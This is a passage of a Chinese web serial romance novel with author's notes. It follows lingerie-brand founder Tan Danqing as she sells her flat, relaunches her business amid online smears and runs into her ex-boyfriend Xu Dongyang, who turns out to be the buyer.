新公司上线前,谈丹青的经济压力已经恶劣到不能再恶劣。手握老品牌“丹心”的mcn公司对她围追堵截,铁了心要将她的新品牌“丹青”在上线前给按死。她甚至觉得,自己可能不是在开公司,而是在赌博,豪赌,赌赢了荣华富贵,赌输了出门要饭。 公司核心员工走了几个,剩下心甘情愿跟着她的,她要给人家分肉,不能让人家跟着她吃苦。 新公司首发日期定在了八月,上线前最后一个星期,谈丹青联系了房产中介,说:“帮我把房子挂出来吧。” 房产中介小姐姐有些诧异,说:“小谈姐,现在房产市场不怎么景气,你要是急着出手,怕是卖不出价。” “没事,”谈丹青说:“先挂出来吧,保个本就行。” “那我就先按市场500万挂上去,如果有人问,最低价是350万,您看这样成么?现在这个行情,350算不错的价格了。” “行。”谈丹青没多犹豫就答应了。 她也没法犹豫,不卖房,撑不到上线。 房子挂出去没多久,就有买家愿意要。 500万的价格,一分没砍。 就连房产中介小姐姐都说:“现在这个市场行情,还能按原价卖出来,真的运气太好了。” “是啊。”谈丹青说。 她已经挺久没跟“运气好”三个字,沾上半点关系。 这笔钱,解了她的燃眉之急,让她不至于死在了上线前。四舍五入,这人是她的救命恩人。 银行账户收到汇款后,谈丹青挺想认识认识买房的人是谁。 但中介小姐姐说,对方在外地,没空见面。 谈丹青只能就此作罢。 交出房钥匙后,中介小姐姐问她,要不要去看最后一眼。 谈丹青去看了。 房子已经被清空了,四壁徒然。 灰尘被仔细掸净,等着迎接新的主人。 光洁的地板,干净的墙壁。 她曾经精心挑选的窗帘、地毯。 这里的一切,都被橡皮擦一点点抹去。 她站在空荡荡的房间里,伸出手,展开,手心朝上。 她试图抓住点什么,一点能证明那些时光真实存在过的证据。 原来割舍一个地方,比想象中更残忍。 她低头,看向自己的手心。 以前,每当她觉得走不下去的时候,她都会停下来,静静地仔细地看一看她的手。 她所依靠的,一直就是她的这双手。 来时她赤手空拳,打下了现在的世界。 现在不过是要重新再来一次罢了。 有什么了不起的? 她,可是谈丹青。 郑芳总说,她人如其名—— 丹青,大红大绿,烈火烹油。 这世上就没有她跨不过去的山,迈不过去的坎。 所以,一定会好起来的。 她坚信。 可是,还是有一滴眼泪悄然落进了她的掌心。 像一枚小小的,灌注了江水的,水胆水晶。 【作者有话说】 上一章的红包都发啦![垂耳兔头] 谢谢贝贝们支持! mua 66 第66章 ◎“就是想”◎ 暑气渐盛。 再过几天,学校就放假了。 室友陆续回家,王越桓家在本地,走得晚。 绪东阳清着行李,王越桓坐在对面铁架床床沿看他:“阳哥,你放假还回江城吗?” “回。”绪东阳将桌上的东西一一放进背包里,“回江城。” “哦,”王越桓在上铺荡着腿,欲言又止:“你……还回江城啊?” 提江城,就不得不提谈丹青。 绪东阳嘴上不说,但他自从跟谈丹青分手后,长眼睛的人都看得出他状态很不好。泡图书馆、背书、帮教授做项目。 快成仙了。 好不容易过去了一两个月,眼看着绪东阳的状态有所缓和。 这节骨眼上突然要回江城,难保不会触景生情。 “魏帆学长八月打算做一个针对小微型企业的专题,选定的几家小微型企业刚好在江城,到时候需要过去实地考察调研。他问我去不去,我看了他的专题框架,觉得很好,打算加入。”绪东阳继续收拾东西,解释道。 “啊,原来这么回事,那挺好的那挺好的,”王越桓松了口气,说:“我还以为……” “以为什么?”绪东阳突然转身抬头,问他。 “没什么!”王越桓从上铺跳了下来,拍了拍他的肩膀,说:“那你走之前,一起吃个饭呗?就当给你送行了。” “好。” 收拾好东西,又洗漱完。 再没有别的杂事,绪东阳闲在上铺刷手机。 分手后,他还是改不了看谈丹青小号的习惯。 现在谈丹青很少在小号上发状态了。 以前发的动态下面,也涌进来了许多奇奇怪怪的东西。一群不明真相的路人觉得自己是正义之士,在评论区大肆辱骂。 谈丹青最近发的一条状态,是一张江景图。 傍晚时分,天尽头的橘红色到倒影在波光粼粼的江面上,远方乌青山黛,近处高楼灯火,江心一叶孤舟。 看到这张图,绪东阳不禁想,在他们分开后,谈丹青到底过得好不好? 找到能更快给她钱的人么? 过得很好? 过得不不好么? 她过得好,他委屈。 可她如果真的过得不好,他也委屈。 他记得谈丹青曾对他说。 她觉得长江那浩瀚宽阔的涛涛江水,能带给她无尽的力量。 人到底会在什么时候需要去寻找力量呢? 大概恰恰是无力的时候。 页面刷新。 已看过一百遍的江景重新加载。 然后一张一模一样的图出现在界面上。 他知道两人已经分手了。 不应该盯着谈丹青的账号看。 像边台。 很掉价。 但是他却控制不住。 强迫症似的一遍又一遍上下拉动页面。 刷新,刷新,再刷新…… 宿舍熄灯断电。 他终于锁了手机。 望着惨白的天花板,胸口涌出一股巨大的空虚感。 他们已经分手了。 分手了。 所以别再想了。 * 回江城前一晚,王越桓弄了个聚餐,他也过去。 地点选在一家小炒店。一入内,人声鼎沸,油烟混合着饭菜香扑面而来,桌上已经摆了几盘菜,油汪汪的回锅肉,蒜蓉空心菜鲜翠欲滴。 “阳哥,这边!”王越桓用力地冲他挥了挥手。 绪东阳点头过去。 王越桓指的位置正好挨着一个妆容精致的女生。 他落座后,那女孩儿便好奇地打量着他,然后对王越桓说:“真的是他诶,我还以为你开玩笑呢。” “我怎么可能开这个玩笑啊!”王越桓笑着介绍,说:“这位,小雅;他,大名鼎鼎绪东阳。” “你好。”绪东阳礼貌但疏离地点了点头。 “你好。”那女孩儿开心地应道。 每个字都在跳 “哎,小雅你不是也喜欢看那个…那个什么讲拳击的电影么?阳哥也是练拳击的,你们有的聊!”王越桓卖力地活跃着气氛,拉进他们二人的关系。 “我去过你们拳击社,如果你有空的话,你能教教我吗?”女孩儿说。 “我平时比较忙。”绪东阳冷淡地回答。 他察觉王越桓这顿饭醉翁之意不在酒,后面说的话越来越少。 吃完饭,送走小雅,王越桓和他一起往回走。 走到一半,王越桓实在忍不住,说:“我说阳哥,你现在到底是个什么打算?今天的小雅,多好啊。” 绪东阳说:“以后这种事,别找我了。” “你这段时间,状态真的太差了。”王越桓说,“而且你不是已经跟丹青姐分手了么?既然是单身狗,那找新女朋友,也没什么吧。” “没这打算。”绪东阳拧了拧眉。 “那我明白了,你喜欢御姐款的,下次我介绍大四学姐?” “不用。” “哎,阳哥,你到底怎么了啊?”王越桓说:“你现在这个样子,真挺吓人的。” 他现在的样子的确很吓人。 他觉得自己可能心里有点毛病。 把谈丹青当成了自己和这个世界的唯一联系。以至于现在这个联系一断,他就跟废了似的。 “我没事。”绪东阳说:“你也不用担心我。” “你这样,我怎么能不担心呢?”王越桓叹气道:“那你后面又怎么打算呢?不会要跟她复合吧?” 王越桓的这个问题,也把绪东阳问住了。 谈丹青和他分手后,他经历了很长一段时间的戒断反应。 从不愿接受他们已经分手了的事实,到对谈丹青发酵出一股怒气,但到今天愠怒的部分已经剩下很少很少。 他知道谈丹青这么做,有她的难处。 网上那些污言秽语他都看到了。 世道对女人比对男人苛责。 如果今天是一个男生和年纪小许多的少女发生恋情,他能被冠上“艳福不浅”的美喻,会有无数男人将他奉为吾辈楷模,甚至认为是懵懂无知的少女作恶多端勾引了老男人。 一个少年和年纪大他许多的熟女发生关系,他能被送上圣坛,无数男人艳羡他小小年纪就能享受到爱河,可以不负责任,可以吃软饭。 只有谈丹青不行。 她要背骂名,被戳脊梁骨。 她所面临的,是精神上的无底泥沼,和经济上的严峻债务。 所以她不想拖着他。 他理解。 都能理解。 可是他就是无法接受谈丹青这么做。 未来是很惨,是很难。 但怎么可以连和他一起尝试抵抗的意图都没有。 战争的号角还没吹响,谈丹青就已经鸣金收兵,这才是他最无法接受的。 连一个让他证明忠心的机会都不给。 “我曾经读到过一个有趣的心理实验,”绪东阳说,“如果要过河,但只能带上三样东西,一袋米,一只猫和一本书,你会按照什么顺序放弃?” “当然最先放弃书吧。”王越桓不假思索地说。 绪东阳说:“我觉得,我就是谈丹青的那本书。” 谈丹青在过河的时候,选了自己、亲情和事业。 唯独没有选他。 “我不知道。”绪东阳接着说。 “啊?不知道什么?”提问过了太久没答,王越桓都忘记自己刚刚问什么了。 他想了一会儿,终于记了起来,说:“哦,你是说,你也不知道要不要复合?” 绪东阳点了点头。 “好吧,”王越桓说:“通常说这种话的人,心理已经有答案了。” “什么答案?”绪东阳问。 “就是想复合呗。”王越桓说:“因为如果不想,你就会直接回答不想了。” * 八月,谈丹青的新品牌正式发布。 直播间里热火朝天。 “姐妹们看过来!!!我们这件新品超级美腻!” “夏日出游必备哦!” “里面穿我们这件内衣,外搭一条小裙子,露出一点点肩带,裙子稍微有点透也没关系!!!内衣花纹透出来,反而更好看哦!!!” 如今市面上内衣设计越来越简洁,多以白黑为主。 而谈丹青这次却另辟蹊径,来了个极繁风。 她这么设计的灵感来源于她在T大上课那几天看到的油画。 她将油画厚重的色彩质地搬到了内衣上,花纹刺绣特意选用克数重的丝线,营造出油画鲜艳明亮的质感。 直播间一开播,黑水就泼了过来。 “tdq还真的敢再出来啊?” “丑死了丑死了丑死了,什么年代了,还整这种花花绿绿的,很土很村懂不懂啊?” “都tdq了……你指望一个高中生弄得出什么好玩意儿?” 这些人大部分是她老东家给她开业送来的大礼。 郑芳尽力控评,但骂的太多,控不过来。 主播小姐姐被骂得受不了了,播不下去。 “那我来吧。”谈丹青说。 “啊……”郑芳真怕谈丹青被人骂崩溃了。 谈丹青坐到台前,状态平静。 她一出镜,流量更大了。 大家都马不停蹄赶来骂她。 她在直播镜头前,镇定地介绍自己的产品,然后亲自挑选弹幕回复。 别人骂她学历低,她就回复:“虽然我的确只是个高中生,但是像塞尚呀、罗丹呀,都是高考失利的美术生呢。” “我去,你咋不说那谁啊?!” 别人骂她和高中生谈恋爱,她就回:“素的素的,穿上身超好看,所以才能迷倒高中生哇!” “……” “怎么这么有说服力……” “竟然被说服了,给我整一件吧……” 郑芳本来还时刻观察谈丹青的状态,打算随时叫停,但看到她的神操作,变成一句:“绝……” 谈丹青对这次的数据其实并没有抱太大希望。 吕力鼎和魏繁星对她太狠了,几乎是围追堵截。他们要拿她杀鸡儆猴,告诉公司旗下的其他人,别以为自己翅膀硬了就能飞,他们能把你捧多高,就能让你摔多惨。 所以谈丹青仅仅只盼着能在吕力鼎的打压下捡点垃圾吃,养活她自己和她弟弟,还有公司十来张嘴。 虽然吕力鼎在网上对她极力摸黑,但她也积攒了一些“死忠粉”,无论外面怎么骂她,他们都相信她不是那种人。而且她的东西质量的确好,大部分消费者只是想买一件穿着舒服,质量好,不肋肉,然后美观的内衣就好,至于做内衣的到底是什么人,他们无所谓。 靠着这两波衣食父母,谈丹青的公司算是磕磕绊绊走上了正规。 谈小白放了暑假就来谈丹青厂里帮忙。搬东西搬得两手都是泡。 中午他累得实在受不了,脱了手套,靠在门口喝水。 开货车的大哥见他累成狗,说:“小白,你姐都赚这么多钱了,你还天天来这儿扛货啊?” 谈小白说:“我姐有钱又不是我有钱,大哥快让一让,我还得赚工资呢。” 谈小白忙完,终于见着他姐。 他姐公司算是彻底脱离危险期,但谈丹青看起来,却并没有怎么开心。 他似是随口一说:“你跟那谁,真分手了?” “嗯。”谈丹青平静地说。 “哦,那,那……”谈小白本来很欣喜,但是一看谈丹青的脸,他又觉得难过起来。他也不知道怎么回事,谈丹青明明如他所愿甩掉了绪东阳那个害人精,为什么他还是不觉得高兴。 夏天广东蚊子多,谈丹青一边给工厂发消息,一边各种拍腿上的蚊子。 “对,又得加了。” “啊?要从新厂调货?你们新厂在哪儿呢?” “什么?江城?”谈丹青乐了。 电话那头,老板问:“谈老板笑什么?” 谈丹青说:“你说江城啊,那我地盘。” 挂了电话,郑芳问:“要去江城出差?” “对,看一款面料。那个颜色只有江城的新厂能印出来,别的地方印的,我都感觉有点偏色。” “你……还回去啊。”郑芳欲言又止。 谈丹青在江城的房子都卖了,她回去都没家可回,要住酒店,这种事谁遇上都心里不舒服。 谈丹青又拍了一只咬她的毒蚊子,无所谓地说:“回去啊,怎么不回去。我现在赚到钱了,我没事儿都得回去转两圈。” 郑芳忍不住说:“你这话听起来,怎么这么小人得志呢?” 谈丹青笑了起来,说:“我这叫衣锦还乡好不好?” 直到坐上回江城的飞机,谈丹青心中五味俱全。 期待里夹杂着别的情绪。 仿佛要撕掉手背上的创口贴。 撕得快短痛。 撕得慢是长痛。 【作者有话说】 打个小小的补订,谈丹青的新公司上线时间是8月,就是大学放暑假的日子。上一章脑抽写成了十月,已更正! 67 第67章 ◎房主◎ 回江城后,谈丹青马不停蹄就去工厂看布料。 她将布样对着顶灯细细查看经纬线的密度和染色的均匀度。 “这块颜色饱和度够了,但手感偏硬,贴身穿着舒适度会打折;这块手感软糯亲肤,但你看这染色,边缘有轻微晕染,水洗几次就可能串色了。还有别的吗?” “现在暂时就这些了。按你们那么做,成本和工艺上难度挺高的。”工厂负责人提醒道。 “先做着吧,”谈丹青从包里抽出一张打印色卡递给工厂负责人,“要完全按这个来。” 负责人转身口中嘟嘟囔囔:“小谈老板人哪儿哪儿都好,就是太较真了!” * 傍晚刚忙完,以前在江城的老熟人打电话轮番请她,话里话外就一个意思:“小谈老板今晚务必赏光,发达了可不能忘了拉兄弟一把。” 谈丹青也是敞亮人,一口答应。 衣锦还乡第一顿,风光着呢! 她怎么可能不去? 包厢就定在了她下榻的酒店,谈丹青回去做完护肤,下个楼就到了。 一进包厢,就见到以前一个圈子的几位小老板都在。 “小谈老板啊!”每次见她,都鼻孔朝天的周礼,鲤鱼打挺似的站了起来,箭步上前,两手紧紧握住她的手,满脸堆笑:“您真是大忙人,今天可算见到你了。” 再见周礼,谈丹青有点想笑。 她不记仇,但也不是金鱼七秒记忆。 当初她追着这位周总屁股后面跑项目,人家可是打太极的高手,云山雾罩,连个准信儿都吝啬给。 如今风水轮流转,周礼舔得她害怕,生怕他下一秒就要拉着她叫妈。 “周总太客气了啊。”谈丹青款款坐下。 也不知是不是今天这局是用来捧她。 选的包厢装饰淡雅,也没人吸烟吹牛,更没“公主”作陪。 “小谈老板看今天喝什么酒?” “今天不喝,”谈丹青笑盈盈地说:“葛根汁不错。” “好好好,那就上葛根汁,养生养颜。” 服务生倒上茶水,周礼又恭恭敬敬将菜单递来,殷勤道:“小谈老板,您看您还想吃点什么?来个……炼乳小馒头怎么样?我听说,女孩儿都喜欢吃这道菜。” “哈,”谈丹青笑了起来,随手翻起菜单,眼波流转道:“周总今天给我接风,就请吃炼乳小馒头?您这心不诚啊。” 周礼笑容一僵,随即爆发出更洪亮的“哈哈哈”,赔笑道:“哎哟我的谈老板!您可冤死我了!我心最诚。”他扭头冲服务生叠声喊:“快快快,今天给我们小谈老板上几道硬菜啊。这菜单上什么最贵?佛跳墙?花胶鸡?快来一盅。” 这饭谈丹青吃得津津有味。 菜色虽然不怎么样,但席上的“戏”相当不错。 一个个都要把她捧天上去,难怪土老板都爱组局。 菜过五味,周礼神秘兮兮地凑近,压低声音:“小谈老板,您好不容易回一趟江城,我们的服务一定是要跟上的,是不是?” 谈丹青端起玻璃杯抿了口葛根汁,眉梢微扬,好奇周礼后面还能安排什么服务。 “都进来。”周礼喊了一嗓子。 包厢门夸张地双门同时拉开。 六个身高腿长、清一色皮肤白,眼睛大,鼻梁高,一米八“男大”,穿着各类白色系服装,“唰”地在她面前站成了一排。 “咳,咳咳,咳咳咳……”谈丹青差点被刚夹的花胶呛到。 她自诩见过大风大浪。 但今天这场面,她也算是开眼了。 周礼搓着手,满脸堆笑地说:“我听网上说,小谈老板似乎偏爱这种‘青春活力’的。” 他委婉地说:“这个……未成年,确实有点难安排哈。但今天来的,也是一水的‘男大’,都是刚高考完。还有个读大二了,我都没让他进来。” “咳,咳咳,咳咳咳咳……”谈丹青咳得更厉害了。 这双标的世界啊…… 栽的时候,谈个恋爱也能被人骂死;风生水起了,喜欢年纪小的,就是一段“佳谈”。 她被呛得一直咳。 说不出话来,只能拼命摆手。 周礼见他这份礼没送到谈丹青心坎上,脸色一变,转头对着那群“男大”凶神恶煞地说:“滚滚滚!没眼力见儿的东西!赶紧滚蛋!” 这几个小孩儿,有的看起来比谈小白还小,被人呼来喝去。 谈丹青于心不忍,勉强压下咳嗽,用纸巾按了按唇角,说:“行了行了,别这么凶。都不容易,出来勤工俭学。让他们出去就行了,骂什么人?” 清场后,谈丹青用清水漱了口。 指尖在杯壁上轻轻一点,发出清脆的声响。所有人都看向她,谈丹青开口道:“我这人吧,是真不喜欢搞些虚头巴脑的东西。如果今晚后面还安排了什么花里胡哨的节目,都推了吧。” 周礼尴尬地应下,赶紧低头掏出手机,手指翻飞地发消息,将今晚接下来的洗脚唱歌全给推了。 谈丹青继续道:“各位,咱们认识也不是一天两天了。漂亮话,今晚就不说了。前段时间,我有难处,大家应该都知道。各位伸了把手,帮了我谈丹青的,这份情,我记着。” 她顿了顿,眼睛明亮通透,坚定而有神:“现在呢,凭了点小运气,我那小破公司算是还算可以。各条线基本都跑通了,以后各位要是有用得着我的地方,需要牵线搭桥的资源。或者遇到什么事儿,换要我伸一把手,直接开口。能帮的,我不会含糊。” “好好好!谈老板敞亮!” “不愧是谈老板!这是干实事的人!” 桌上几人纷纷感慨,看她的眼神里多了几分真切的佩服。 谈丹青的酒店房间就在楼上,吃完饭,那股虚浮的热闹劲儿让她有点喘不过气。她没急着回去,打算上街透透气。 刚推开沉重的旋转玻璃门,一个清瘦的身影就杵在门边的阴影里,怯生生地喊了一声:“姐姐。” 谈丹青扶着冰凉玻璃的手一顿,停下脚步,借着酒店大堂透出的光,疑惑地打量眼前这个陌生男孩:“你好……我们认识?” “我是刚才进你包厢的。”那男孩抬起了头。很年轻,皮肤白得近乎透明,一双眼睛又大又亮,像受惊的小鹿,偏偏下巴尖窄得带着点脆弱的文气。这种长相,天然就容易勾起异性的保护欲。 “谢谢姐姐刚才帮我说话。” 当时周礼叫进来一大群男孩儿,人太多,谈丹青压根没功夫挨个细看。她扶着门想了半晌,这才模模糊糊记起,这是刚才被周礼吆喝着“滚出去”的那群“男大”中的一个。 网上关于她的那些沸沸扬扬的“轶事”,眼前这孩子大概也当了真。自动代入了某种“救风尘”的剧本,觉得能靠这张脸和这声“姐姐”,在她这里找条“捷径”。 谈丹青觉得这件事荒谬得令人发笑,无奈地说:“不针对你哈,但我真谈不了年下。我这人,一听别人叫我姐姐,我就想捂紧钱包。这碗饭吧,看着光鲜,但烫嘴,也吃不长久的。你*……找个正经工作,好好生活吧。” 谈丹青推门出去。 走在街道上,夏夜的街道带着水汽的微凉扑面而来。 她深深吸了一口气,江城独特的水汽弥漫的潮湿空气渗入肺腑。 这儿江和湖多,空气里水分大,所以显得比别的地方的空气都要重。 街景似乎有些变了样。 路口新开了几家火锅店,大晚上人气依然很旺,鼎沸人声与辛辣香气交织,在夜色中晕开一片暖色的光晕,很有人间烟火气。 谈丹青漫步街头。 谁都不认识,也谁都不认识她。 就像个透明人,一身轻松。 或许是因为今晚突然来了一群和绪东阳年纪相仿的少年,她忍不住又想起了绪东阳。 他现在怎么样了? 没了她这个铅球挂在腿上,应该能走得更远,走得更快了吧。 城市霓虹灯影里,无数张陌生的脸与她擦肩而过。 年轻的,年迈的,老的,少的,男的,女的…… 路尽头,有人经过。 那背影,高大、颀长。 那么熟悉。 那么……像绪东阳。 谈丹青一时恍惚,在原地怔愣了半晌。 然后条件反射地拔腿去追。 街头人来人往,那道影子出现一闪而过,消失在人流里。 “绪……” 她焦急地四处找寻,左右张望,终于再次锁定那个与她相隔了汹涌人潮的背影。 她连忙快步赶上,但更多的旅人迎面而来。 “让一让,麻烦让一让……” 她在人流中穿梭,奋力地拨开人群,鼻尖冒出了细汗。 但当她终于穿过人群走到了路尽头,却再也找不到那道背影。 “绪……” “绪……” 绪东阳的名字,死死地堵在了她的嗓子眼里。 她默立在街头,缓缓地眨了眨眼。 是她看错了吧? 一定是。 怎么可能是他? 当初为了分手,她说了那么多难听的话。 他绝不可能还回江城。 谈丹青失神落魄地往回走。 身侧不远处的四川火锅店,一群学生正在等位。其中一个高个子男孩儿突然高喊了一声,“绪东阳学长!魏帆学长!这边!” * 谈丹青每天抓着工厂负责人调布料颜色。 负责人本来也是个踏实能干的技术工,但架不住每天被谈丹青这么整,被逼急了,当着她的面,跑去跟自己老板打电话告状:“什么鬼颜色哦!染不出来染不出来!” 谈丹青全程气定神闲。 负责人最后在电话里听到了谈丹青出的价,半晌冷静下来,说:“嗯,不就是葡萄紫嘛,不就是紫调里面再加一点粉再加一丢丢青再加虾米蓝。看起来就像刚成熟的葡萄在晨光下微微发光的样子。我懂,我可以,我给你调!!!” 从工厂出来,谈丹青弄了辆车开。 她将墨镜架在发顶,降下车窗,开车吹风。 这时郑芳打电话问她:“你那边布样选得怎么样了?” 谈丹青有些失望地说:“布料上色效果我还是不太满意。他们明天再做一版。” 话筒那一头,郑芳却一笑,说:“别急,我跟你说个好消息,你待会儿不一定乐成二傻子。” “哈?”谈丹青疑惑,“什么好消息?还能把我乐成傻子了?” “看你微信,看看我给你发什么了。” 谈丹青将车停在路边,好奇地调出微信,紧接着愣在了原地。 “这……这是什么时候发来的?”她不可思议地喃喃自语。 “就今天!”郑芳说:“是T大用传真发来的,胡小样刚收到的时候还以为是什么订单呢!哈哈,大家替你高兴一波了。” 随着网络缓慢加载,一张证书扫描件逐渐变得清晰,最后占据了整个屏幕。 顶部,是T大那枚庄重而熟悉的校徽。 下方,是几行清晰的黑体字: 【结业证书】 学生谈丹青……已完成艺术设计学院高级研修班全部课程学习及考核……准予结业…… 那是T大给她颁发的结业证书。 “怎么样?”郑芳说:“半天不出声,是不是成二傻子了?” 谈丹青笑,说:“距离傻子只差一点点了……明天给大家加个餐吧。” “老板大气啊!” 挂了电话,谈丹青怔怔地看着这张“结业证书”扫描件。 当时事发突然,别说余下的课程她都没去,最重要的是她的结业作品都没交,T大怎么会给她发结业证书? 难道又是她幸运运气好? 那她最近未免也太鸿运当头。 在北京的日子,是她最不愿意回想的部分。那时太甜蜜太幸福太无忧无语,反而衬得如今一片惨淡。 这张证书的出现,将那段时光几乎是怼在了她的脸上。 经过一条十字路口,等红绿灯,绿灯亮,谈丹青习惯性往左打方向盘。 高楼往后退,熟悉的景色在眼前平铺开,谈丹青一时恍惚,沿着这条路再往前开,就该到她原来的老房子了。 路是条单行道,拐进来再想转返很麻烦。 谈丹青心下一动,鬼使神差地加了点油门,沿着熟悉的街道,继续行驶了下去。 许久不见,没想到小区门卫小哥还认得她,笑着说:“谈小姐?最近一直没见到你呀!好久没回家了吧?” “是……我房子卖了。”谈丹青说,“能进去看一眼么?马上出来。” “别人是肯定不行的,”门卫小哥说,“但谈小姐是老熟人啊,放行,但二十分钟出来啊。” “好。” 车往里走。 绿化还和以前一样。 大片大片浓密的绿,或深或浅。深处是金山棕竹、黄金榕,浅处是南天竹、鸟巢蕨。各色绿调和在一起,像一片绿色的琥珀。 谈丹青下了车,顺着树荫小径绕了一圈。 当时房子卖得急,买家也不愿露面,她没能正式和房子的新主人见面。只听房屋中介说,买房的是个年轻人,估计是用来做婚房。 如果是用来做婚房,现在应该多半要有小孩子了吧? 她鬼鬼祟祟地从落地玻璃窗往里看,却没看到婴儿车和泡沫玩具。虚掩的窗帘下,里面的陈设似乎又简单、又空荡。 通常最先想到的,是时间最近的;最晚想到的,则是记忆最深的。 谈丹青站立在熟悉的门外,满脑子都是她和绪东阳两个人半夜淋了雨跑回来。 她像那晚一样,缓步走上了楼梯台阶。 一阶,又一阶…… 那晚他们明明没有喝醉酒,却像喝醉了一样脚步踉跄,磕磕绊绊地上了楼,拥抱接吻。她到现在似乎还能感受到那晚他们衣服上的湿意,绪东阳抱着她手臂的力度,还有他的眼睛…… 看着面前那扇她再也没有钥匙的紧紧关闭的门。 谈丹青久久压抑着的懊悔、可惜和无奈,全都同一刻翻涌而来。 那时她是不是应该再坚持一下? 是不是应该就把绪东阳拽着?怎么也不放开他的手? 她也说不清。 大多数事情,事后再怎么懊悔也没用。因为即便同样的事重演千遍万遍,处在相同境地里的人,做出的选择也必然相同。 所以,就算她能让时光倒流,重新回到那天晚上绪东阳的宿舍,她依然会选择跟他分手。 只会和他分手。 二十分钟到了。 谈丹青吸了吸鼻尖。 故地重游很好。 但也仅止步于此了。 她抽身要走。 只听一声:“吱呀……” 面前的门猝不及防地开了。 门后的人似乎正要出门,手里还拿着手机和黑色垃圾袋,当她的视线聚焦在那张熟悉的,惊愕的脸上时,时间仿佛停滞了。 夏日走道暖烘烘的。 敞开的门,送来屋中空调的凉意。 谈丹青怎么也不会想到。 这世界上,还有比偷窥别人家子被房主抓住更尴尬的事—— 那就是偷窥别人家房子,被房主当场抓住。 然后房主还是她前男友…… 谈丹青站在门外。 绪东阳站在门内。 一时间,四目相对。 谁也没说话。 【作者有话说】 就这么猝不及防,噶噶噶,嘎嘎嘎,嘿嘿嘿,嘻嘻嘻,哈哈哈! 68 第68章 ◎她不能再甩开我◎ 绪东阳似是临时有事要出门,没做特别的打理,身上套着件黑色印字母运动短袖,下身是灰色长运动裤,脚上随意地踩着一双深棕色拖鞋。 圆领露出的脖颈上挂着一条黑色耳机,刚刚运动后的身体肌肉充血,壁垒分明的肌肉块隐隐拓在黑色短袖上。 一头乌黑的头发随意往后抓了抓,发尾凌乱,露出光洁饱满的额。 他多半也万万没想到她会突然出现在这儿,长眉下那双漆黑熠亮的眸,瞳孔紧缩,诧异又错愕地盯住她。 谈丹青不敢细看绪东阳的眼睛。 只觉得又尴尬、又难为情。 原来买她房子的人,就是绪东阳。 难怪说人在外地,没空回来。 难怪说是个年轻人。 她真是在阴沟里翻了船! 红着眼眶站在前男友家门口到底是在干什么? 疯了吗? 为什么脚下的地不能裂出来一条口子让她钻一钻? 事到如今,谈丹青实在想不到别的办法。 只有一招—— 转身就跑。 看着谈丹青突然出现在他面前,又在他没来得及反应的时刻,转身就跑。 绪东阳确认这一切真不是他做梦做多了出现的幻觉后,立刻气炸了。 他没看错。 也没白日做梦。 谈丹青就在他家门口。 他垃圾不扔了,鞋也不换了。 穿着一双棉布拖鞋就冲了下来。 “谈!丹!青!” 谈丹青飞快跑到车前。 慌慌张张间,锁车和解锁两个键按错了。 车门怎么也拉不开。 她浑身发抖。 无地自容。 怎么就被绪东阳发现了? 现在绪东阳要怎么想她? 分手是她提的。 甩人的时候那叫一个潇洒。 结果这才过了多久,就被逮到在前任门口哭丧。 换谁都觉得晦气吧。 谈丹青本来真不想哭。 但现在实在是眼眶里进了沙子,眼胀,有阳光在咬她。 太丢人了! 丢人丢到姥姥家了。 她姥姥家在太平洋…… 谈丹青狠狠咬着嘴唇,背身刻意不看绪东阳的脸。 刚刚绪东阳开门时,门露出一条缝。 一瞥而过,她似乎看到了一双女人的鞋。 她不太确定自己有没有看错。 但无论她有没有看错。 他们都已经分手很久了。 绪东阳完全可能交新女朋友。 可能还是和他一样的同龄人。 如果这样,她现在出现在他门口。 不是自取其辱? 她能吃苦,很能吃。 让她吃什么苦,她都没问题。 但她受不了丢脸。 “谈!丹!青!你给我站着!” 绪东阳的大吼惊雷似的在身后炸响。 千钧一发的时刻,谈丹青终于拉开车门。 就在她要上车时,绪东阳一个跨步就迈了过来。 大手一拍,将她好不容易终于拉开车门给她重重拍上。 “谈!丹!青!你!什!么!意!思?”绪东阳气得鼻翼翕动。 谈丹青抓着车门把手,像抓着自己的救命稻草。 幸亏她借的车不是特斯拉,还有把手给她抓。 “路过。”谈丹青背过身,用手背敷衍地将脸上的眼泪一抹,微微昂起下巴,一脸风轻云淡地说:“开错道了,过来转转。” “路过?你路过路过到三楼。”绪东阳说。 谈丹青被戳破了,着急地反呛回去,说:“这我快乐老家,还不许我回来看看?” “好,你回家看看,”绪东阳永远都顺着她的话头往下说,然后在她不经意的时候,猛地戳破,“那你在门口哭什么?” 她脸上挂着的眼泪是最大的铁证,谈丹青再也想不出搪塞的借口,她用手背捂眼睛,“没有!你看错了。” “我看错了?”绪东阳一把抓住了她的手腕。 熟悉的高温又蔓延开来。 太久没有相见相处,她都忘了绪东阳的体温有多炽热。 像大西洋温热的暖流,流经之处,密匝匝漂浮着的坚硬冰川,逐一融化。 他强硬地将她的手挡了下来,逼她露出发红的眼睛。 他直直地盯着,这双此后只在梦里出现的眼睛,冷冰冰地说:“谈丹青,你是觉得我瞎吗?” 谈丹青的眼眶更红了,她双手又被绪东阳抓着,想遮都遮不住。她眼睛雾蒙蒙地,恨得直咬牙,说:“我哭个屁!我要哭也是后悔房子卖你卖便宜了。一卖给你就涨价,换你你不哭?” “谈!丹!青!”绪东阳几乎是从齿缝里挤出这个名字。 他被谈丹青气得胸口疼,肺叶灌不进一丝活气。 如果他有一天英年早逝,一定是被谈丹青给气死。 真是差这点钱吗? 她谈丹青是差这点钱就坐在人家家门口哭的人吗? 她就是…… 就是…… “学,学弟?” “阳哥?” “绪东阳?” “小谈?” “丹青姐?” “谈丹青?” 魏帆学长、王越桓、还有一众学长学姐,双双拎着购物袋,在他们不远处目瞪口呆地看着他俩。 空气尴尬得好像有三个黑点飘了过去。 两人明显看起来都红着眼眶。 绪东阳紧紧攥着谈丹青的手腕,谈丹青则一脸羞愤欲绝。 这“执手相看泪眼”的场景,怎么看都像一场激烈争吵结束后的戏码。 “诶?丹……丹青姐?”王越桓眼尖,一眼就认出了谈丹青。 狐疑又八卦的眼神在两人之间扫来扫去。 谈丹青立马背过身。 太社死了! 绪东阳上前一步,高大的身躯不着痕迹地将她挡在了身后,也挡掉了大部分探究好奇的目光。 他现在的状态,也不比谈丹青好到哪儿去。一开口声音沙哑得吓人,他咳了一声,清了清嗓子,说:“你们先上去吧,门没锁。” 他看向王越桓,王越桓立刻心领神会地救场:“我知道门牌,都跟我走,快走啊,东西沉死了!” 大部队也如梦初醒,“走了走了,几楼啊。” “三楼。”王越桓说。 他在楼梯口招呼着,忽地停了下来,回头扬声问:“对了,丹青姐,我们今天来绪东阳家吃火锅的,人多热闹,你要一起来么?” 